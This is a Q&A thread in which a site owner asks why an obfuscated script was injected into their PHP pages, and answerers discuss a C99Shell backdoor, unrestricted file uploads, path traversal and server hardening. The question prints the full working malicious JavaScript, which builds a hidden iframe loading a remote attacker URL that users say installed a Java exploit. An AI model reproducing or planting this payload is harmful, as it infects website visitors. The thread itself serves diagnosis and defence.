19

The problem:

On my webspace there are PHP files which all end with this:

<?php include 'footer.php'; ?>

Before this line, there is also HTML code in the files.

The output in the browser ends with this, of course:

</body>
</html>

But yesterday, there was some malicious code at the end, suddenly. The output of my index.php was:

</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>

I opened the file on my webspace (downloaded via FTP) and I saw that someone had put this code right into the file!

How could this happen?

The only ways I can imagine:

  • Somebody got my FTP password. But he wouldn't only have put it into one file. He could have done much more damage. So I can't imagine this is the case.
  • I have a virus on my PC myself. I use Notepad++ for editing and FileZilla for uploading. Maybe these programs were contaminated as well and I uploaded the malicious code - without knowing.
  • Someone used a security hole (XSS) to put that code into the page. But he couldn't have put it right into the file, could he?

Symptoms:

Users reported a blue panel popping up in Firefox. It asked them to install a plugin. Now some of them have Exploit.Java.CVE-2010-0886.a on their PC.

Is this due to the malicious code? What did the code do exactly?

Can you help me?

Please help me, I'm really desperate.

Maybe one additional question, if you know how I could have got it: How could I prevent something like this in the future?

Edit #1:

I've found a file called "x76x09.php" in the root directory of my webspace. It has a filesize of 44.281 bytes. I've downloaded it and tried to open it. But my antivirus software said it's a trojan (Trojan.Script.224490). I think this file has been executed and added the malicious code to the "index.php" in every directory. Does this help? How could the trojan come to my webspace? Is this a well-known virus?

Edit #2:

My hoster says he can now be sure that the file wasn't uploaded via FTP. So the infection didn't happen via FTP. According to my hoster, it must be insecure scripts.

Edit #3:

Security holes according to PHPSecInfo:

  • allow_url_fopen = 1
  • allow_url_include = 1
  • expose_php = 1
  • file_uploads = 1 (is this to blame for the malicious "x76x09.php" file?)
  • group_id = 99
  • user_id = 99

Edit #4:

I've analyzed the file which had been executed on my webserver. Here's the results.

So this virus seems to be known as:

  • PHP/C99Shell.BF
  • Backdoor/PHP.C99Shell
  • BackDoor.Generic_c.CQA
  • Trojan.Script.224490
  • Exploit.PHP.635
  • Backdoor.PHP.C99Shell.bf
  • Trojan.Script.224490

Could some of them cause the malicious file on my webspace which added the malicious code?

caw
  • 30,999
  • 61
  • 181
  • 291
  • 3
    Are you using any common PHP CMS? Where exactly is your code from? I'm asking, because 90% of times people get hacked like that because of the holes in PHP apps not because of the server faults. In your case it is even more unlikely because you use professional hosting company. Please provide more info because I believe everyone here is blaming the server when truly it is probably the fault of the code. – Piotr Rochala Jun 30 '10 at 23:22
  • No, I'm not using any CMS. I just use my self-programmed online game. I've added PHPSecInfo's results (possible security holes) to the question under "Edit #3". Does this help? – caw Jul 01 '10 at 21:53
  • Well, at least the code you posted looks really bad. Opera told me this website was malicious because of it. :o – Savageman Jul 01 '10 at 21:56
  • Yes, it is really bad. The antivirus software of lots of users alerted that there is a virus. :o – caw Jul 04 '10 at 16:12

10 Answers10

17

I don't think that the problem is that you are using a shared host because I have found six others (degmsb, Benvolio, joomla01, DJ-Alien, valerione1979, and Kars) whose websites had the same script added. Also, it is doubtful that any of your files would be writable by others because files that are uploaded over FTP are subject to the file creation mode bits mask.

My best guess is that someone is cracking websites using either known exploits or exploits against common weaknesses, and that this person is identifying likely targets with Google hacking. degmsb's Wordpress website and Benvolio's Burning Board Lite website were likely cracked via known exploits (possibly known exploits of plugins to these software bases such as TinyMCE), and your website, since you wrote it yourself, was likely cracked via an exploit against a common website weakness.

Given that you allow file uploads (one of your PHP scripts accepts & saves files that are uploaded by your users), I would consider CWE-434: Unrestricted Upload of File with Dangerous Type. A CWE-434 exploit works like this: suppose you allow users to upload avatar images or pictures. The script to which uploaded images are POSTed might save the file to /images using the same filename that the user supplied. Now imagine that someone uploads x76x09.gif.php (or x76x09.gif.asp, x76x09.gif.php4, etc.). Your script will dutifully save this upload to /images/x76x09.gif.php and all that the cracker needs to do to have the server run this script is browse to /images/x76x09.gif.php. Even if the file is named x76x09.php.gif, some web servers will execute the file.

Another possibility is that the filename of the upload that PHP receives, $_FILES['upload']['name'], which is the filename value in the Content-Disposition header that is sent, was constructed to something like ..\modules\x.gif. If your script saved the newly-uploaded file to str_replace('\\', '/', '/images/' . basename($_FILES['upload']['name'])), or /images/../modules/x.gif on a non-Windows host (http://codepad.org/t83dYZwa), and there was some way for the user to cause one of your PHP scripts to include or require any script in the modules directory (say index.php?module=x.gif&action=blah), then the cracker would be able to execute arbitrary PHP.

EDIT: It looks like x76x09.php is some sort of unrestricted directory browser and file uploader. If a user manages to get this uploaded to your server, then they can basically do anything that you can do with your FTP access. Delete it.

EDIT2: Look for copies of this PHP source (the part gzuncompress(base64_decode("HJ3H...geFb//eeff/79z/8A"));). Remove it from all of your PHP scripts.

EDIT3: Googling parts of the PHP script, I have found several webpages where this source is listed verbatim, and all of these pages have something to do with file uploading functionality for the respective websites. It therefore seems very likely that the hacker of your website used a CWE-434 exploit.

Daniel Trebbien
  • 38,421
  • 18
  • 121
  • 193
  • Why "non-Windows host"? A non-Windows server will not recognize the "\" (backward-slash) as a path separator, will it? Btw, +1 for detailing the exact steps. – AbdullahC Jul 04 '10 at 04:18
  • 2
    @Hippo: Hmmm. You're right. I just tested ` – Daniel Trebbien Jul 04 '10 at 11:39
  • Thank you very much, Daniel! I deactivated allow_url_fopen and allow_url_include. This should solve the problem, right? And I can't find any upload script. I just use file_get_contents() with external URLs sometimes. – caw Jul 04 '10 at 16:17
  • 1
    @marco92w: `file_get_contents` might be a problem depending on how it is used. If a user can cause your script to `file_get_contents` a URL that he provides, then this provides a way for a hacker to save malicious code to your server. Then, supposing you include scripts based on a query string parameter, say `module`, the hacker could request `index.php?module=../files/malicious_data_file`, causing `index.php` to `include` the `malicious_data_file` that was obtained via `file_get_contents`. This would be a way for the hacker to execute arbitrary PHP. – Daniel Trebbien Jul 04 '10 at 16:31
  • 1
    Thanks, this is the way it worked for me. So it could be the security hole which the hackers used. – caw Jul 04 '10 at 18:19
7

Looks like your server has been compromised, also are you on shared host?

You can find out security configuration of your server with:

PhpSecInfo

alt text
(source: phpsec.org)

Glorfindel
  • 21,988
  • 13
  • 81
  • 109
Sarfraz
  • 377,238
  • 77
  • 533
  • 578
  • Thanks, this is very interesting. It says that allow_url_fopen and allow_url_include are enabled. And PHP's group_id and user_id are both 99 which means PHP can change system files, right? Could this have caused the problem? – caw Jun 27 '10 at 18:10
  • @marco92w: Not sure, it could also be some other reason, have you contacted server supported team? – Sarfraz Jun 27 '10 at 18:34
  • Yes, they said they can't help me :( I'm very dissatified with their answer: "You have to keep care of your FTP data better. [They assume it happened this way.] And we don't check users' webspaces with antivirus software." – caw Jun 27 '10 at 22:03
  • @marco92w: That's very unsupportive answer by the support team. Looks like they do not care, intruders can even access them...... – Sarfraz Jul 01 '10 at 18:43
  • Yes, very unsupportive :( But I have to accept it. Maybe they're right and it was due to a security hole in my PHP scripts ... I've added PHPSecInfo's results to the question above. – caw Jul 01 '10 at 21:54
  • 2
    @marco: If you are not reading files from remote urls, you should really disable `allow_url_fopen` from php.ini. – Sarfraz Jul 01 '10 at 22:01
  • Thank you! I deactivated allow_url_fopen and allow_url_include now. – caw Jul 04 '10 at 16:15
  • Why is `allow_url_fopen` unsure, sAc? I know that `allow_url_include` is highly dangerous, but accessing files over http seems harmless to me. – NikiC Aug 02 '10 at 08:29
  • @nikic: Oh true, i wanted to speak about that and instead wrote `alllow_url_fopen` :( Sure it is `allow_url_include`. – Sarfraz Aug 02 '10 at 08:31
3

Who are you hosted with? Some hosters have security leaks that can get exploited.

Are you using WordPress? There's also been an number of reported outbreaks. The best thing to do would be google it looking for people with similar problems, which will also lead to the cause, which will lead to the solutions.

Kerry Jones
  • 21,806
  • 12
  • 62
  • 89
  • Yes, I am hosted on a shared host. It's Host Europe, maybe you know it. I don't use WordPress. I'm still not sure if it's a software leak in what I've coded or if it's a problem at the hoster's side ... – caw Jun 27 '10 at 11:30
3

As others have suggested, the vulnerability is most likely in some script you are using, maybe something you've written yourself or then a well known application that has known vulnerabilities. This might be a vulnerability in an upload script, but I want to point out that it is also possible to "upload" files through SQL injection, see the following thread for more details

KCL
  • 6,733
  • 10
  • 37
  • 43
  • Since I can't find any upload script on my webspace, it must be some other cause. Maybe the SQL injection you mention or an XSS attack? How can I prevent that? – caw Jul 04 '10 at 16:20
  • See http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet for details about preventing SQL injection attacks. I don't think this particular attack used XSS, since cross-site scripting attacks target users, not the servers. You should fix your SQL injection vulnerabilities, but I'd still keep looking for the reason for this attack from some other place, because the attack described in my link requires quite many things to go the attacker's way for it to be successful, thus, it can be quite unlikely source for the attack. – KCL Jul 06 '10 at 07:41
2

We have experienced a problem similar to this a while ago with one of our major web properties. What your web host said was correct: it was likely due to not FTP access, but an insecure script that somehow allowed modification of arbitrary files. In our case, a vulnerability in an old phpMyAdmin allowed changes to some PHP scripts.

If you haven't done so already, you may want to make sure that the web server has only read privileges to all scripts and HTML files. It turns out that Apache could also write to scripts in our case. Simply

cd web_files_directory
chown -R some_not_web_server_user:some_not_web_server_group .
find . -type f | xargs chmod 644
find . -type d | xargs chmod 755
phsource
  • 2,326
  • 21
  • 32
  • Yes, my webserver CAN write, change, and possibly even upload files. I use fopen() with write access to cache text content in files on my webspace. Is this a mistake? – caw Jul 01 '10 at 21:57
  • 1
    @marco92w it depends on how you do it; e.g. how the name of these "cache files" is chosen? And the content? If you decide it according to some "vars" taken through GET or POST methods, then your cache mechanism could be exploited to write whatever to whatever file. – ShinTakezou Jul 02 '10 at 11:32
  • Yes, in some cases I use vars taken through GET. But I always validate this input. And I use the following URL for saving then: /cache/profile_'.$get_parameter.'.html so they can't save something in the root directory, can they? – caw Jul 04 '10 at 16:19
1

I would suggest changing any FTP or SSH passwords to be very secure. If you use a hosting provider you should also notify them of the breach. If you do not have logs to investigate the matter then they may. You should also Google the code that was added to your page to see if you can find anything else.

Jason
  • 1,114
  • 1
  • 10
  • 24
  • Yes, I use a hosting provider's shared hosting. I've already notified them, I hope this will clear things up. I googled the code but I couldn't find any useful results. – caw Jun 27 '10 at 11:36
1

phsource is the closest.

If you're on a shared server, other people have access to the server itself. This is sort of the definition of a shared server. The problem is that if you have files with permissions of 777, they are world-user-group writable. Which means anyone with access to the box can write to them. See the problem?

All it takes is one person on that box to have a weak password, poorly configured script, or a horrible bit of code, and a mediocre script kiddie can cause all kinds of problems all over the box. Most of these attacks are purely automated. They get access, scan for attack-able files, and append as needed.

Most likely, you should change all of your files to 755 or 644 permissions. You'll sleep better at night.

And after you're done cleaning it up, make sure Google hasn't flagged you as a malicious site. It's not horrible to clean up, but it can decimate your traffic in the meantime.

CaseySoftware
  • 3,105
  • 20
  • 18
  • You mean that carless people whose projects are also hosted on my shared server could cause my files to be compromised? I can't imagine. How should they do? I have to log in with my username and password to have access to MY directory on the server. I have files with 777. But the other users on the server can't access them, can they??? – caw Jul 01 '10 at 22:00
  • 2
    If the files are 777, anyone with access to the filesystem can get at the files. Change your file permissions. If you want a secure server, don't share it with anyone that you don't trust 100%... which should be no one. Half the time I don't trust myself. That guy is a knucklehead. ;) – CaseySoftware Jul 02 '10 at 05:22
  • but if the provider gives not a shell, but only ftp access, it can restrict the users from going "outside" their homes, so even with 777 noone should be able to enter others' directory. Anyway, not having 777 is always a good idea – ShinTakezou Jul 02 '10 at 11:36
  • Doesn't really matter what the permissions on the files are. If the WebHost doesn't support suPHP and forces all hosted sites to run with the same uid/gid, then all the hosted sites' files will most likely be owned by and most definitely accessible by that uid/gid. – Marc B Aug 04 '10 at 04:04
1

If you wrote the vulnerable web application yourself then you've already got a head start figuring out where to find most of the access points are which could be exploited. Unfortunately, that may not be good enough (writing and maintaining secure web applications is harder than most people think).

If you didn't write the application yourself, or if you're re-using large, complex, components that someone else wrote, or if you simply need help getting a handle on website security then there are commercial services that can crawl your site and try to figure out where they are vulnerable, e.g.:

http://www.qualys.com/products/qg_suite/was/

These services cost money, obviously, but you can usually get a "free trial" to see if they would be helpful. Good luck!

Peter
  • 2,526
  • 1
  • 23
  • 32
  • Yes, I wrote it myself. But I don't know where to start. I fixed the PHP issues according to PHPSecInfo. But I don't know if it was a PHP leak or a MySQL injection or an XSS attack ... – caw Jul 04 '10 at 16:21
0

If you has static ip - you can forbid ftp-access from not yours IP

GOsha
  • 689
  • 5
  • 13
  • 1
    Thanks, nice idea! But I don't have a static IP. And this would only work if it was an attack through FTP ... – caw Jun 27 '10 at 11:37
  • 1
    You can forbid access from bad IP or allow access only from one IP range... look to your ftp-logs to search bad IP or loook about information .ftpaccess – GOsha Jun 27 '10 at 12:10
0

This happened to me a while back in different manners. A work account was compromised through phpBB via a code exploit. Somehow, they even added themselves into the mySQL db users table. That caused us to completely remove the program and discontinue use.

An old Joomla install was the vulnerability that allowed people to do exactly what you speak of to my personal site. I had forgotten it was even out there, but it was enough to open the door for them to install malicious code on several different sites. I took the site down, changed permissions, updated Joomla, and scrubbed files.

My current production server gets "sniffed" for phpMyAdmin more than 1000 times per hour during some peak hack attempts. The bad guys are working overtime!

Bottom line, be wary of open source code and if you do use it, update, update, update.

bpeterson76
  • 12,918
  • 5
  • 49
  • 82
  • Thanks for the answer. Nice to hear that I'm not the only one with this problem. But this doesn't help me to solve it ;) – caw Jul 01 '10 at 21:58
  • -1? Really? I'm trying to help here by telling you what worked for me on this exact problem. Without access to the server it's tough to fully diagnose your problem. – bpeterson76 Jul 01 '10 at 22:00
  • 2
    I don't agree with the "be wary of Open Source code" part. Exploits in closed source applications also happen all the time, and sometimes the company responsible for the program doesn't fix it at all, until it is massively exploited. – Thom Wiggers Jul 03 '10 at 16:42
  • 1
    Doom, agreed, I also think that in general the Open Source community does a great job of plugging holes, better in my mind than the "evil empire" But there are also quite a few web guys who rely on open source software with no knowledge or care to stay up to date, and it can bring businesses to their knees. It's a catch 22 situation--use the most popular open source because it has great features, but know that the "bad guys" have complete access to source code to expolit it. And, some open source tools are better than others when it comes to updates. – bpeterson76 Jul 04 '10 at 01:13